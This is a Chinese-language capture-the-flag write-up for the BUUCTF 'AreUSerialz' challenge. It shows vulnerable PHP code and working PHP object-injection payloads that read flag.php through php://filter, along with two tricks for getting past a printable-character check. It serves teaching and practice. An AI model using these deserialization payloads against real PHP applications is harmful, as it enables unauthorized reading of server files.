【BUUCTF】AreUSerialz (反序列化)
題目來源
收錄於:BUUCTF 網鼎杯 2020 青龍組
題目描述
根據PHP程式碼進行反序列化
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
題解
此題解題思路較為清晰,反序列化時依次呼叫的函式為:
__destruct() ==> process() ==> read()
在read()
中的file_get_contents()
中得到我們要讀的檔案。
這裡直接給出構造的類
<?php
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$this->op = 2;
$this->filename = "php://filter/convert.base64-encode/resource=flag.php";
$this->content = "Hello World!"; //$content的值隨意
}
}
$o = new FileHandler();
$s = urlencode(serialize($o));
echo $s;
這裡由於存在不可列印的字元,且不可隨意丟棄,因此我們需要對序列化後的字串進行URL編碼。編碼後得到$s
的值為
O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A5%3A%22%00%2A%00op%22%3BN%3Bs%3A11%3A%22%00%2A%00filename%22%3BN%3Bs%3A10%3A%22%00%2A%00content%22%3BN%3B%7D
對於一般的題目,到這裡就能得到flag了,但是該題目中還有函式is_valid()
,用於檢測傳遞的字串中是否有不可列印的字元。
由於類中有protected
的屬性,因此我們序列化後的字串中會有不可列印字元%00
,這道題的難點就在這裡。
這裡有兩種方式可以進行繞過
方式一
當PHP版本 >= 7.2 時,反序列化對訪問類別不敏感。
即可以直接將protected
改為public
,即可避免出現不可列印的字元,同時可以成功反序列化。
<?php
class FileHandler {
public $op;
public $filename;
public $content;
function __construct() {
$this->op = 2;
$this->filename = "php://filter/convert.base64-encode/resource=flag.php";
$this->content = "Hello World!"; //$content的值隨意
}
}
$o = new FileHandler();
echo(urlencode(serialize($o)));
傳入列印的字串即可得到base64編碼的flag
方式二
此方法並不改變變數的保護型別。
當我們向瀏覽器傳遞%00
時,瀏覽器會對其進行URL解碼,解析為ascii值為0的單個字元。
當我們向瀏覽器傳遞\00
時,瀏覽器不會將其解析為單個字元。
下面用程式碼進行驗證:
<?php
function is_valid($s) {
echo "str_length="; //輸出字串長度
echo strlen($s);
echo "<br>ASCII(str): ";
for($i = 0; $i < strlen($s); $i++){
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)){
echo "invalid!!!";
return false;
}
echo ord($s[$i]); //輸出每個字元的ASCII
echo " ";
}
return true;
}
$str = (string)$_GET['str'];
is_valid($str);
?>
因此我們將%00
替換為\00
,就可以繞開ord()
的判斷。但是這樣一來,反序列化時\00
將無法正確解析為單個字元。
我們知道序列化後的字串中,用 s 表示字串,用 i 表示整數。此外, S 用於表示十六進位制的字串。
於是,將表示字串的 s 替換為表示十六進位制字元的 S,即可完成繞過。
<?php
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$this->op = 2;
$this->filename = "php://filter/convert.base64-encode/resource=flag.php";
$this->content = "Hello World!"; //$content的值隨意
}
}
$o = new FileHandler();
$s = urlencode(serialize($o));
$s = str_replace('%00','\00',$s);
echo $s;
將紅框內的小寫 s 替換為大寫 S,得到的payload為
O%3A11%3A%22FileHandler%22%3A3%3A%7BS%3A5%3A%22\00%2A\00op%22%3Bi%3A2%3BS%3A11%3A%22\00%2A\00filename%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag.php%22%3BS%3A10%3A%22\00%2A\00content%22%3Bs%3A12%3A%22Hello+World%21%22%3B%7D
總結
當遇到不可列印字元被過濾時,有兩種方法:
-
PHP版本>=7.2時,可將protected直接修改為public
-
將序列化後的字串中的
%00
修改為\00
,並將保護型別為protected
的變數的變數型別由s改為S